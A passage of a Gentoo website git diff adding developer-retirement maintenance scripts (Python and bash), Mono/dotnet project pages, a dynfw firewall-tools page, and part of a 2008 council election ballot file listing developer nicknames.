+        print >>sys.stderr, '%r is not a directory' % path
+        return 1
+    # Make sure path has a / at the end
+    if not path.endswith('/'):
+        path+='/'
+    for root, dirs, files in os.walk(path):
+        if 'metadata.xml' not in files:
+            continue
+        metadata_path = os.path.join(root, 'metadata.xml')
+        try:
+            metadata = etree.parse(metadata_path)
+        except (SyntaxError, EnvironmentError), e:
+            print >>sys.stderr, "Couldn't parse %s (%s) .. skipping" % (root[len(path) + 1:], e)
+            continue
+
+        shortpath = root[len(path):]
+
+        # Find all herds this package is in, dealing with the no-herd "herd"
+        herds = {}
+        for herd in metadata.findall('herd'):
+            herdname = herd.text
+            if herdname is None:
+                print >>sys.stderr, "Bogus herd entry in %s" % (shortpath,)
+                continue
+            herdname = herdname.strip()
+            if herdname in herds:
+                print >>sys.stderr, 'Duplicate herd in %s' % (shortpath,)
+                continue
+            herds[herdname] = herd
+        if not herds:
+            # HACK: this is apparently normal for category-level metadata
+            if '/' in shortpath:
+                print >>sys.stderr, 'no herd tags in %s (add no-herd)' % (shortpath,)
+        if 'no-herd' in herds and len(herds) != 1:
+            print >>sys.stderr, 'no-herd and actual herds in %s' % (shortpath,)
+        herds.pop('no-herd', None)
+
+        if modifier(metadata, herds):
+            # we don't want the full path in the diff
+            if not root.startswith(path):
+                print 'wtf (not %r.startswith(%r/))' % (root, path)
+                return 1
+            newfile = StringIO.StringIO()
+            # etree does not write the <?xml ...> header and DOCTYPE
+            newfile.write('<?xml version="1.0" encoding="UTF-8"?>\n')
+            newfile.write(
+                '<!DOCTYPE pkgmetadata SYSTEM '
+                '"http://www.gentoo.org/dtd/metadata.dtd">\n')
+            metadata.write(newfile)
+            # etree omits the final newline, add that to make the diff nicer
+            newfile.write('\n')
+            newfile.seek(0)
+            # (skips the <?xml ...> and DOCTYPE lines, hopefully)
+            for line in difflib.unified_diff(
+                open(metadata_path).readlines(),
+                list(newfile),
+                '%s.orig' % shortpath,
+                shortpath):
+                print line,
+            print
+    return 0
+
+def metadata_dev(devname, path):
+    email = '%s@gentoo.org' % devname
+    def modifier(metadata, herds):
+        changed = False
+        for entry in metadata.findall('maintainer'):
+            for mailentry in entry.findall('email'):
+                if mailentry.text.strip() == email:
+                    if not herds:
+                        # remove name
+                        for name in entry.findall('name'):
+                            entry.remove(name)
+                        mailentry.text = 'maintainer-needed@gentoo.org'
+                    else:
+                        metadata.getroot().remove(entry)
+                    changed = True
+        return changed
+
+    return _metadata(path, modifier)
+
+
+def metadata_herd(herdname, path):
+    def modifier(metadata, herds):
+        if herdname not in herds:
+            return False
+
+        herd = herds[herdname]
+        if len(herds) == 1:
+            # We're removing the only herd, so convert to no-herd.
+            herd.text = 'no-herd'
+        else:
+            # Just remove this herd element.
+            metadata.getroot().remove(herd)
+
+        return True
+
+    return _metadata(path, modifier)
+
+
+def usage():
+    print 'Usage: %s subcommand opts' % sys.argv[0]
+    print 'Subcommands:'
+    print '--herds /path/to/userinfo.xml /path/to/herds.xml : check herds.xml for retired developers'
+    print '--metadata-dev devname /path/to/tree :'
+    print '--metadata-herd herdname /path/to/tree :'
+    print '\toutputs a diff between the current metadata.xml and'
+    print '\tmetadata.xml with the retired dev or herd removed.'
+    print '--project /path/to/userinfo.xml /path/to/proj :'
+    print '\tcheck the project pages for retired developers'
+
+
+def main(args):
+    subcommands = dict(('--' + f.__name__.replace('_', '-'), f)
+                       for f in [herds, metadata_dev, metadata_herd, project])
+    if len(args) == 1:
+        usage()
+    try:
+        subcommand = subcommands[args[1]]
+    except KeyError:
+        print '%s is not a valid subcommand (%s)' % (
+            args[1], ', '.join(subcommands))
+        usage()
+        return 1
+
+    argcount = len(inspect.getargspec(subcommand)[0])
+    if len(args) - 2 != argcount:
+        print 'Expected %s arguments, got %s' % (argcount, len(args) - 2)
+        usage()
+        return 1
+
+    return subcommand(*args[2:])
+
+if __name__ == '__main__':
+    sys.exit(main(sys.argv))
diff --git a/xml/htdocs/proj/en/devrel/undertakers/scripts/search-retired-devs.sh.txt b/xml/htdocs/proj/en/devrel/undertakers/scripts/search-retired-devs.sh.txt
new file mode 100644
index 00000000..544bd550
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/undertakers/scripts/search-retired-devs.sh.txt
@@ -0,0 +1,44 @@
+#!/bin/bash
+# 2010-07-19
+
+# FILES
+GROUPS_LIST="/etc/group"
+DEVS="devs.txt"
+RETIRED_DEVS="retired-devs.txt"
+
+# List of retired devs
+ldapsearch '(&(gentooStatus=retired)(!(gentooAccess=infra-system.group)))' -Z uid -LLL -S uid | \
+	awk '/^uid:/{print $2}' > ${RETIRED_DEVS}
+
+# List of devs in groups
+cat /etc/group | cut -d : -f 4 | sed -e "/^$/d" | tr , '\n' | sort -u | sed -e "/^XXX/d" \
+	-e "/adm/d" -e "/bin/d" -e  "/lp/d" -e "/root/d" -e "/uucp/d" -e "/games/d" -e "/gcfengine/d" \
+	-e "/gcvsd-rsync/d" -e "/gmanual/d" -e "/gmirror/d" -e "/gweb/d" -e "/man/d" -e "/news/d" \
+	-e "/portage/d" -e "/postfix/d" -e "/smmsp/d" > ${DEVS}
+
+
+# List of devs to process
+PROCESS_DEVS=""
+
+# show the groups a retired dev is still a member of
+print_dev() {
+
+	local dev="${1}"
+
+	local groups=$(grep ${dev} ${GROUPS_LIST} | cut -d : -f 1 | tr '\n' ' ')
+	echo "The retired dev ${dev} is on the ${groups}groups"
+}
+
+# get list of retired devs in the groups
+get_retired_devs() {
+
+	PROCESS_DEVS=$(comm -12 ${DEVS} ${RETIRED_DEVS})
+}
+
+get_retired_devs
+
+if [[ -n ${PROCES_DEVS} ]] ; then
+	echo ${PROCESS_DEVS} | tr ' ' '\n' | while read dev; do
+		print_dev ${dev}
+	done
+fi
diff --git a/xml/htdocs/proj/en/dotnet/contact.xml b/xml/htdocs/proj/en/dotnet/contact.xml
new file mode 100644
index 00000000..3751103f
--- /dev/null
+++ b/xml/htdocs/proj/en/dotnet/contact.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/dotnet/contact.xml,v 1.1 2005/05/31 17:42:58 chriswhite Exp $ -->
+
+<guide link="/proj/en/dotnet/contact.xml" lang="en">
+<title>Mono FAQ</title>
+<author title="Author">
+  <mail link="latexer@gentoo.org">Latexer</mail>
+</author>
+<author title="GuideXML Translation">
+  <mail link="chriswhite@gentoo.org">Chris White</mail>
+</author>
+
+<abstract>
+This page is intended to contain the latest things people can help out with as users/devs to continue making the use Mono on Gentoo a pleasure. This page may end up becoming stale, so before trying anything, we suggest you visit the bugs involved on our bugzilla, or contact me (latexer) on IRC or via email to confirm what still needs doing.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.0 -->
+<license/>
+
+<version>1.0</version>
+<date>2005-5-31</date>
+
+<chapter>
+	<title>Mono Contacts</title>
+	<section>
+		<body>
+		<ul>
+			<li>Email: <mail link="dotnet@gentoo.org">dotnet@gentoo.org</mail></li>
+			<li>Email Latexer (project lead): <mail link="latexer@gentoo.org">Latexer</mail></li>
+			<li>IRC: #gentoo-dotnet@irc.freenode.net</li>
+			<li>Bugzilla: <uri>http://bugs.gentoo.org</uri></li>
+		</ul>
+		</body>
+	</section>
+</chapter>
+</guide> 
diff --git a/xml/htdocs/proj/en/dotnet/faq.xml b/xml/htdocs/proj/en/dotnet/faq.xml
new file mode 100644
index 00000000..e1c3b465
--- /dev/null
+++ b/xml/htdocs/proj/en/dotnet/faq.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/dotnet/faq.xml,v 1.1 2005/05/31 17:42:58 chriswhite Exp $ -->
+
+<guide link="/proj/en/dotnet/faq.xml" lang="en">
+<title>Mono FAQ</title>
+<author title="Author">
+  <mail link="latexer@gentoo.org">Latexer</mail>
+</author>
+<author title="GuideXML Translation">
+  <mail link="chriswhite@gentoo.org">Chris White</mail>
+</author>
+
+<abstract>
+This is an faq for mono.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.0 -->
+<license/>
+
+<version>1.0</version>
+<date>2005-5-31</date>
+
+<chapter>
+	<title>Mono FAQ</title>
+	<section>
+		<title>Why isn't mono-1.0.x marked stable yet?</title>
+		<body>
+		<p>
+Being a source based distribution, which isn't "officially supported" by mono, we face many challenges getting things truly ready for being "stable".  I'm working ahrd to get the last few bugs filed against mono-1.0.x resolved, so we can finally ahve a stable mono.
+		</p>
+		</body>
+	</section>
+
+	<section>
+		<title>How can I help?</title>
+		<body>
+		<p>
+There are several things you can do to help.  First check out our <uri link="http://bugs.gentoo.org">bugzilla</uri> and search for all bugs assigned to <mail link="dotnet@gentoo.org">dotnet@gentoo.org</mail>.  Check out some of the bugs and see if you can contribute fixes/ebuilds to the bugs.  Secondly, you can check out my <uri link="howtohelp.xml">How To Help</uri> page, which includes the lastest things I need testing on by other people before I can deem then stable, un-package.mask them, etc.
+		</p>
+		</body>
+	</section>
+
+	<section>
+		<title>I've install mono-1.0.x on my AMD64 box, but I still can't get gtk-sharp to compile. Help!</title>
+		<body>
+		<p>
+Mono did not have JIT support for the AMD64 architecture in the 1.0.x series of mono.  Support was added in the 1.1.x series, so we highly suggest you use that version of mono on any AMD64 machines.  Until mono-1.1.x is added to portage, you can get an overlay tarball of it from Latexer's dev space <uri link="http://dev.gentoo.org/~latexer/">here</uri>
+		</p>
+		</body>
+	</section>
+
+	<section>
+		<title>I've installed gtk-sharp from portage, but when compiling some application, it fails to find gnome-sharp/gtkhtml-sharp/etc. What's wrong?</title>
+		<body>
+		<p>
+Starting with gtk-sharp-1.0.4, the optional components of gtk-sharp have been split into seperate packages.  This is to facilitate having proper dependancies for gtk-sharp consuming applications, while not forcing lots of libs like libgnomedb, etc on people.  You can probably solve your problem by installing the seperate component package that matches the version of gtk-sharp you have installed.
+		</p>
+		</body>
+	</section>
+
+	<section>
+		<title>But .NET stuff is microsoft!  This is linux!</title>
+		<body>
+		<p>
+Yes, that's a fact, but it doesn't mean the technology is 100% horrible.  Further more, any sort of harrasment towards me about it will be ignored.
+		</p>
+		</body>
+	</section>
+</chapter>
+</guide> 
diff --git a/xml/htdocs/proj/en/dotnet/howtohelp.xml b/xml/htdocs/proj/en/dotnet/howtohelp.xml
new file mode 100644
index 00000000..d0b5bc4c
--- /dev/null
+++ b/xml/htdocs/proj/en/dotnet/howtohelp.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/dotnet/howtohelp.xml,v 1.1 2005/05/31 17:42:58 chriswhite Exp $ -->
+
+<guide link="/proj/en/dotnet/howtohelp.xml" lang="en">
+<title>Mono FAQ</title>
+<author title="Author">
+  <mail link="latexer@gentoo.org">Latexer</mail>
+</author>
+<author title="GuideXML Translation">
+  <mail link="chriswhite@gentoo.org">Chris White</mail>
+</author>
+
+<abstract>
+This page is intended to contain the latest things people can help out with as users/devs to continue making the use Mono on Gentoo a pleasure. This page may end up becoming stale, so before trying anything, we suggest you visit the bugs involved on our bugzilla, or contact me (latexer) on IRC or via email to confirm what still needs doing.
+</abstract>
+
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.0 -->
+<license/>
+
+<version>1.0</version>
+<date>2005-5-31</date>
+
+<chapter>
+	<title>Mono How To Help</title>
+	<section>
+		<title>1) Getting mono-1.1.x out of package.mask</title>
+		<body>
+		<p>
+Not much here. The two major things are getting mono-1.0.x stable (which it now is on x86, and soon on ppc) and getting a version of monodevelop into portage which actually works with mono-1.1.x. Piece one is done, piece two is waiting on MD-0.6 to be official. Those wishing to help can mainly help stress testing any mono consuming applications/libraries using the currently package.masked mono-1.1.4 (amd64 users too!)
+		</p>
+		</body>
+	</section>
+
+	<section>
+		<title>2) Getting other mono using apps into portage</title>
+		<body>
+		<p>
+If you're not a dev, there's not much you can do besides submitting bugs with ebuilds to bugzilla, or writing ebuilds for package request bugs on bugzilla. Devs, please feel free to work on this, but I'd ask that you please confer with me if you intend to add packages with bugs assigned to the dotnet herd before commiting them.
+		</p>
+		</body>
+	</section>
+</chapter>
+</guide> 
diff --git a/xml/htdocs/proj/en/dotnet/index.xml b/xml/htdocs/proj/en/dotnet/index.xml
new file mode 100644
index 00000000..68207ef6
--- /dev/null
+++ b/xml/htdocs/proj/en/dotnet/index.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+	<name>Dotnet</name>
+	<longname>The Dotnet Project</longname>
+	<author title="author">
+		<mail link="chriswhite@gentoo.org">Chris White</mail>
+	</author>
+
+	<description>The Dotnet Project handles development using the C# language.</description>
+	<longdescription><p>
+	The Dotnet Project handles the development using the C# language.  More specifically, it is often oriented with the mono development environment.
+	</p></longdescription>
+
+	<dev role="member" description="Member">jurek</dev>
+
+	<herd name="dotnet"></herd>
+
+	<resource link="faq.xml">Mono FAQ</resource>
+	<resource link="howtohelp.xml">How To Help</resource>
+	<resource link="contact.xml">Contacting Members</resource>
+	<resource link="http://dev.gentoo.org/~latexer">Latexer's Devspace</resource>
+
+</project>
diff --git a/xml/htdocs/proj/en/dynfw.xml b/xml/htdocs/proj/en/dynfw.xml
new file mode 100644
index 00000000..379e8d03
--- /dev/null
+++ b/xml/htdocs/proj/en/dynfw.xml
@@ -0,0 +1,103 @@
+<?xml version='1.0'?>
+
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide type="project" link="dynfw.xml">
+<title>dynfw Dynamic Firewall Tools, v1.0</title>
+<author title="Author"><mail link="drobbins@gentoo.org">Daniel Robbins</mail></author>
+<abstract></abstract>
+<version>1.0.3</version>
+<date>2005-09-08</date>
+
+<chapter>
+<title>dynfw</title>
+
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+Firewalls all good and fun, but what do you do when you need to make rapid,
+complex changes to your netfilter-based firewall?  Instead of feverishly
+hacking away at a complex master firewall script, use the dynfw Dynamic
+Firewall Tools.  This collection of robust bash scripts have been designed to
+work with nearly any existing netfilter-based firewall configuration.  By using
+these scripts, you'll be able to make near-immediate changes to your firewall
+configuration without risk of misconfiguration, resulting in vastly improved
+network security and responsiveness.  The dynfw firewall scripts were
+originally featured in <uri
+link="http://www-106.ibm.com/developerworks/linux/library/l-fw/?n-l-4191">this
+IBM developerWorks article</uri>.
+</p>
+
+<p>
+You can download the current version of dynfw here:
+<uri>http://www.gentoo.org/doc/en/articles/files/dynfw-1.0.1.tar.bz2</uri>.
+</p> 
+
+<note>
+The dynfw Dynamic Firewall Tools are Copyright 2001-2003 Gentoo
+Foundation, Inc. and distributed under the GNU General Public License.  You
+are encouraged to send any bug fixes or improvements to these tools to <mail
+link="drobbins@gentoo.org">Daniel Robbins</mail> so that they can be rolled
+into the official release.
+</note>
+
+<p>
+The following scripts are included in <path>dynfw-1.0.1.tar.bz2</path>:
+</p>
+
+<table>
+<tr>
+  <th>Script</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti><path>install.sh</path></ti>
+  <ti>the install script -- run this first</ti>
+</tr>
+<tr>
+  <ti><path>dynfw.sh</path></ti>
+  <ti>the dynfw global support script -- used by all dynfw tools</ti>
+</tr>
+<tr>
+  <ti><path>ipdrop</path></ti>
+  <ti>discard packets coming from a specific IP</ti>
+</tr>
+<tr>
+  <ti><path>ipblock</path></ti>
+  <ti>discard as above, but send an TCP reset if applicable</ti>
+</tr>
+<tr>
+  <ti><path>tcplimit</path></ti>
+  <ti>ratelimit new connections to a local TCP port</ti>
+</tr>
+<tr>
+  <ti><path>host-tcplimit</path></ti>
+  <ti>ratelimit new connections from a specific host</ti>
+</tr>
+<tr>
+  <ti><path>user-outblock</path></ti>
+  <ti>prevents a specific UID (user) from establishing outbound connections</ti></tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Changelog</title>
+<body>
+
+<p>
+<e>1.0.1</e>: sh-compatibility fixes; <c>==</c> changed to <c>=</c> (oops!)
+</p>
+
+<p>
+<e>1.0</e>: Initial release.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
+
diff --git a/xml/htdocs/proj/en/elections/council/2008/council-2008-master.txt b/xml/htdocs/proj/en/elections/council/2008/council-2008-master.txt
new file mode 100644
index 00000000..b5285e05
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2008/council-2008-master.txt
@@ -0,0 +1,1532 @@
+--------- confirmation 0401 ---------
+Halcy0n
+welp
+fmccor
+Flameeyes
+lu_zero
+astinus
+cardoe
+dev-zero
+ulm
+dberkholz Betelgeuse
+dertobi123
+hkBst
+leio
+Jokey jer
+peper
+ferdy
+zlin
+--------- confirmation 29df ---------
+dberkholz fmccor
+Flameeyes Jokey welp
+lu_zero cardoe dertobi123
+--------- confirmation 2a2f ---------
+Flameeyes
+dberkholz
+Halcy0n
+Betelgeuse
+lu_zero
+Jokey
+cardoe
+jer
+dertobi123
+welp
+ulm
+hkBst
+astinus
+dev-zero
+leio
+fmccor
+ferdy
+zlin
+peper
+--------- confirmation 2bee ---------
+dberkholz
+Halcy0n ulm
+leio
+dev-zero
+fmccor jer hkBst Jokey welp Flameeyes dertobi123
+cardoe Betelgeuse
+zlin lu_zero
+astinus
+ferdy peper
+--------- confirmation 2d01 ---------
+Flameeyes
+dberkholz
+lu_zero
+Jokey
+cardoe
+dev-zero
+Halcy0n
+leio
+dertobi123
+jer
+hkBst
+welp
+ulm
+astinus
+Betelgeuse
+fmccor
+peper
+ferdy
+zlin
+--------- confirmation 2ed8 ---------
+Jokey Flameeyes dberkholz Betelgeuse
+lu_zero ulm dertobi123 leio cardoe Halcy0n
+hkBst dev-zero astinus jer zlin welp fmccor
+ferdy peper
+--------- confirmation 2efb ---------
+Betelgeuse
+Jokey
+cardoe
+dberkholz
+dev-zero
+Halcy0n
+leio
+jer
+Flameeyes
+lu_zero
+welp
+fmccor
+ferdy
+ulm
+hkBst
+dertobi123
+astinus
+zlin
+peper
+--------- confirmation 04c4 ---------
+dberkholz Flameeyes
+lu_zero fmccor Betelgeuse
+cardoe dertobi123 Halcy0n
+astinus Jokey leio
+jer ulm zlin dev-zero welp
+hkBst ferdy peper
+--------- confirmation 3000 ---------
+lu_zero
+dberkholz
+Halcy0n
+welp fmccor dertobi123 jer zlin dev-zero cardoe peper leio hkBst ferdy ulm Betelgeuse astinus Jokey Flameeyes
+--------- confirmation 3061 ---------
+dberkholz
+lu_zero
+leio
+Halcy0n
+welp
+Flameeyes
+Betelgeuse
+Jokey
+dev-zero
+jer
+ulm dertobi123
+cardoe
+fmccor hkBst
+peper ferdy zlin astinus
+--------- confirmation 04de ---------
+Jokey
+Halcy0n
+Flameeyes
+astinus
+lu_zero
+dberkholz
+cardoe
+dertobi123
+ferdy
+zlin
+welp
+jer
+dev-zero
+leio
+Betelgeuse
+ulm
+fmccor
+peper
+hkBst
+--------- confirmation 3177 ---------
+hkBst
+ulm
+dev-zero
+Halcy0n
+Betelgeuse Jokey
+zlin peper ferdy
+dertobi123 dberkholz
+cardoe leio
+fmccor
+welp
+astinus lu_zero jer Flameeyes
+--------- confirmation 329c ---------
+Jokey Halcy0n
+Betelgeuse welp dberkholz
+cardoe
+dev-zero dertobi123 fmccor
+ulm ferdy hkBst leio
+Flameeyes
+jer
+lu_zero peper zlin
+astinus
+--------- confirmation 348d ---------
+Halcy0n
+dev-zero
+fmccor
+Flameeyes
+jer
+dertobi123
+lu_zero
+dberkholz
+astinus
+leio
+Jokey
+ferdy
+peper
+zlin
+ulm
+Betelgeuse
+welp
+hkBst
+cardoe
+--------- confirmation 0567 ---------
+dberkholz jer astinus lu_zero Flameeyes Halcy0n
+cardoe welp
+leio Betelgeuse Jokey dertobi123 hkBst
+peper ulm dev-zero ferdy fmccor zlin
+--------- confirmation 3784 ---------
+Flameeyes lu_zero cardoe Halcy0n dberkholz astinus
+Jokey jer welp leio
+dev-zero dertobi123 hkBst ulm
+fmccor Betelgeuse
+--------- confirmation 394c ---------
+welp
+astinus
+Halcy0n
+Jokey
+leio
+dberkholz
+Flameeyes
+fmccor
+dertobi123
+cardoe
+--------- confirmation 3b48 ---------
+dberkholz Flameeyes Halcy0n dertobi123
+lu_zero zlin cardoe
+astinus fmccor Betelgeuse peper ferdy jer ulm Jokey dev-zero hkBst welp leio
+--------- confirmation 3ba5 ---------
+Flameeyes dberkholz
+leio cardoe
+Jokey
+Betelgeuse welp jer
+dev-zero Halcy0n lu_zero peper dertobi123
+fmccor hkBst ulm
+astinus ferdy zlin
+--------- confirmation 3df2 ---------
+dberkholz Jokey Flameeyes lu_zero Betelgeuse
+Halcy0n
+dertobi123
+welp
+jer
+dev-zero
+cardoe
+ulm
+leio
+astinus
+hkBst
+fmccor
+zlin
+ferdy
+peper
+--------- confirmation 40ca ---------
+jer
+astinus
+dertobi123 dberkholz dev-zero Flameeyes cardoe
+ulm welp hkBst leio Jokey
+Halcy0n Betelgeuse lu_zero
+zlin peper ferdy fmccor
+--------- confirmation 42e6 ---------
+fmccor
+dev-zero
+ferdy hkBst
+peper
+zlin
+Betelgeuse welp
+dertobi123
+ulm leio
+cardoe
+Jokey
+Halcy0n
+jer
+lu_zero
+dberkholz
+Flameeyes
+--------- confirmation 446c ---------
+Flameeyes cardoe leio welp dberkholz
+Betelgeuse
+fmccor
+jer
+lu_zero
+Halcy0n
+ulm
+Jokey
+hkBst
+dertobi123
+dev-zero
+ferdy
+astinus
+zlin
+peper
+--------- confirmation 467f ---------
+dberkholz
+Flameeyes
+Halcy0n
+dev-zero
+lu_zero
+leio
+Betelgeuse
+Jokey
+welp
+dertobi123
+zlin
+astinus jer ulm hkBst
+fmccor cardoe
+ferdy peper
+--------- confirmation 486d ---------
+ferdy
+zlin
+peper
+dberkholz
+cardoe
+welp
+fmccor
+jer
+ulm
+hkBst
+Jokey
+dertobi123
+astinus
+dev-zero
+Halcy0n
+lu_zero
+Flameeyes
+Betelgeuse
+leio
+--------- confirmation 4adb ---------
+welp
+Jokey dertobi123
+dberkholz hkBst cardoe fmccor
+astinus leio
+lu_zero ulm
+dev-zero
+--------- confirmation 4cdb ---------
+peper
+ferdy
+Betelgeuse
+astinus hkBst leio jer zlin Halcy0n welp cardoe Jokey fmccor lu_zero ulm Flameeyes dertobi123 dev-zero dberkholz
+--------- confirmation 4efc ---------
+fmccor
+hkBst
+zlin
+dev-zero
+ferdy
+Betelgeuse
+Halcy0n
+lu_zero
+jer
+peper
+welp
+ulm
+cardoe
+dberkholz
+Jokey
+leio
+dertobi123
+Flameeyes
+astinus
+--------- confirmation 4fc2 ---------
+Halcy0n
+Flameeyes
+astinus
+dev-zero
+dberkholz
+leio
+Betelgeuse
+welp
+lu_zero
+hkBst
+dertobi123
+ulm
+cardoe
+jer
+peper zlin ferdy Jokey fmccor
+--------- confirmation 5228 ---------
+Jokey
+dberkholz
+Halcy0n
+dev-zero
+dertobi123
+lu_zero
+Betelgeuse
+Flameeyes
+cardoe
+leio
+jer
+welp
+hkBst
+ulm
+astinus
+peper
+zlin
+ferdy
+fmccor
+--------- confirmation 08bb ---------
+dberkholz
+dev-zero
+lu_zero
+ulm
+Flameeyes
+Jokey
+Halcy0n
+Betelgeuse
+dertobi123
+hkBst
+fmccor
+jer
+cardoe
+leio
+welp
+peper
+zlin
+ferdy
+--------- confirmation 575a ---------
+leio
+dberkholz
+Flameeyes
+fmccor astinus lu_zero welp cardoe
+Halcy0n jer dev-zero dertobi123 Jokey ulm Betelgeuse zlin ferdy hkBst
+peper
+--------- confirmation 5763 ---------
+dberkholz Halcy0n Betelgeuse
+lu_zero Flameeyes cardoe Jokey
+leio hkBst dertobi123 welp astinus fmccor ulm dev-zero
+peper zlin ferdy jer
+--------- confirmation 57af ---------
+Jokey
+dertobi123
+Flameeyes fmccor
+welp Betelgeuse dberkholz
+--------- confirmation 583f ---------
+lu_zero Halcy0n dberkholz dertobi123
+Flameeyes cardoe
+Betelgeuse welp zlin jer hkBst ulm Jokey fmccor dev-zero peper leio astinus ferdy
+--------- confirmation 5be8 ---------
+cardoe
+dberkholz
+lu_zero
+jer
+astinus
+Jokey
+Halcy0n
+dertobi123
+fmccor
+Betelgeuse
+Flameeyes
+leio
+ulm
+dev-zero
+zlin
+hkBst
+welp
+ferdy
+peper
+--------- confirmation 5c2d ---------
+cardoe
+lu_zero
+hkBst
+Jokey
+peper
+ulm
+Flameeyes
+Halcy0n
+ferdy
+jer
+Betelgeuse
+welp
+dberkholz
+leio
+dertobi123
+zlin
+fmccor
+dev-zero
+--------- confirmation 5e5a ---------
+Jokey Flameeyes dertobi123 dev-zero lu_zero dberkholz
+ulm ferdy cardoe hkBst Betelgeuse fmccor Halcy0n peper leio jer astinus zlin welp
+--------- confirmation 5f85 ---------
+dberkholz
+fmccor
+peper
+lu_zero
+dev-zero
+Halcy0n
+dertobi123
+leio
+zlin
+ulm
+Flameeyes
+Betelgeuse
+Jokey
+cardoe
+jer
+ferdy
+--------- confirmation 5fe1 ---------
+dberkholz Flameeyes lu_zero
+cardoe Halcy0n
+ulm Jokey ferdy dertobi123 Betelgeuse leio peper fmccor astinus zlin jer dev-zero hkBst welp
+--------- confirmation 6023 ---------
+Flameeyes dberkholz lu_zero Jokey
+Betelgeuse
+Halcy0n leio
+dertobi123
+astinus
+jer
+hkBst dev-zero ulm
+welp
+cardoe
+fmccor ferdy peper zlin
+--------- confirmation 659d ---------
+leio dberkholz welp
+Flameeyes astinus fmccor
+cardoe
+ferdy jer lu_zero dev-zero peper ulm hkBst zlin dertobi123 Jokey Betelgeuse Halcy0n
+--------- confirmation 66d5 ---------
+ferdy dberkholz
+Betelgeuse Halcy0n dev-zero dertobi123 fmccor
+leio ulm welp lu_zero zlin Jokey hkBst
+peper Flameeyes
+jer astinus cardoe
+--------- confirmation 701c ---------
+dberkholz
+fmccor
+Halcy0n
+Flameeyes
+dertobi123 zlin Betelgeuse jer astinus
+ulm lu_zero peper
+--------- confirmation 715c ---------
+dberkholz Jokey Betelgeuse lu_zero cardoe Flameeyes Halcy0n
+dertobi123 jer
+astinus ulm dev-zero
+leio welp
+hkBst
+zlin ferdy peper fmccor
+--------- confirmation 7332 ---------
+dberkholz
+cardoe
+fmccor
+Flameeyes
+jer
+Jokey
+lu_zero
+ulm
+peper Halcy0n dev-zero Betelgeuse astinus dertobi123 hkBst ferdy welp leio
+zlin
+--------- confirmation 73c9 ---------
+dberkholz
+dertobi123
+lu_zero astinus cardoe
+Jokey welp Flameeyes ferdy
+Betelgeuse fmccor dev-zero leio jer Halcy0n
+peper ulm hkBst zlin
+--------- confirmation 745c ---------
+Flameeyes
+lu_zero Jokey Halcy0n dberkholz leio
+jer dev-zero Betelgeuse astinus
+dertobi123 hkBst ulm
+welp fmccor cardoe
+zlin ferdy peper
+--------- confirmation 0bc3 ---------
+Halcy0n
+Flameeyes
+Betelgeuse
+dberkholz
+welp
+cardoe
+hkBst dev-zero dertobi123 Jokey leio astinus lu_zero ferdy zlin peper fmccor jer ulm
+--------- confirmation 75f1 ---------
+dberkholz
+Halcy0n
+Jokey
+fmccor
+Flameeyes
+Betelgeuse
+lu_zero
+welp
+jer leio dev-zero cardoe dertobi123 hkBst ulm
+ferdy peper zlin astinus
+--------- confirmation 7770 ---------
+Halcy0n
+lu_zero dberkholz
+astinus Flameeyes
+Betelgeuse
+cardoe
+jer
+ulm
+leio
+dev-zero
+dertobi123
+Jokey
+welp
+hkBst ferdy peper fmccor zlin
+--------- confirmation 78d1 ---------
+zlin ferdy peper
+dertobi123
+fmccor
+dberkholz
+dev-zero
+Betelgeuse
+ulm
+cardoe
+hkBst
+leio
+Halcy0n
+Jokey
+Flameeyes
+welp
+jer
+lu_zero
+astinus
+--------- confirmation 7afb ---------
+Flameeyes Halcy0n cardoe Jokey welp jer leio dertobi123 fmccor dev-zero ulm lu_zero Betelgeuse dberkholz hkBst
+--------- confirmation 7d25 ---------
+dertobi123
+dev-zero
+cardoe
+ulm zlin jer lu_zero Betelgeuse ferdy welp peper fmccor hkBst dberkholz Flameeyes Jokey astinus leio Halcy0n
+--------- confirmation 7daf ---------
+Flameeyes
+lu_zero
+dev-zero
+dberkholz
+Jokey
+cardoe
+ferdy
+peper
+ulm
+jer
+hkBst
+dertobi123
+welp
+zlin
+astinus
+Halcy0n
+Betelgeuse
+leio
+fmccor
+--------- confirmation 7de4 ---------
+ferdy
+zlin
+peper
+dertobi123
+Betelgeuse
+dberkholz
+dev-zero
+hkBst
+ulm
+fmccor
+Jokey
+cardoe
+Halcy0n
+leio
+jer
+welp
+Flameeyes
+astinus
+lu_zero
+--------- confirmation 814a ---------
+ferdy
+peper dev-zero
+zlin
+dberkholz
+fmccor
+Betelgeuse dertobi123 ulm
+Jokey
+Halcy0n
+leio
+hkBst
+cardoe welp jer Flameeyes lu_zero
+--------- confirmation 81cd ---------
+dberkholz
+fmccor
+dertobi123
+Flameeyes
+lu_zero
+dev-zero
+cardoe
+Betelgeuse
+jer
+Jokey
+ferdy
+hkBst
+zlin
+ulm
+Halcy0n
+leio
+astinus
+welp
+peper
+--------- confirmation 833b ---------
+ferdy zlin dev-zero peper
+Halcy0n
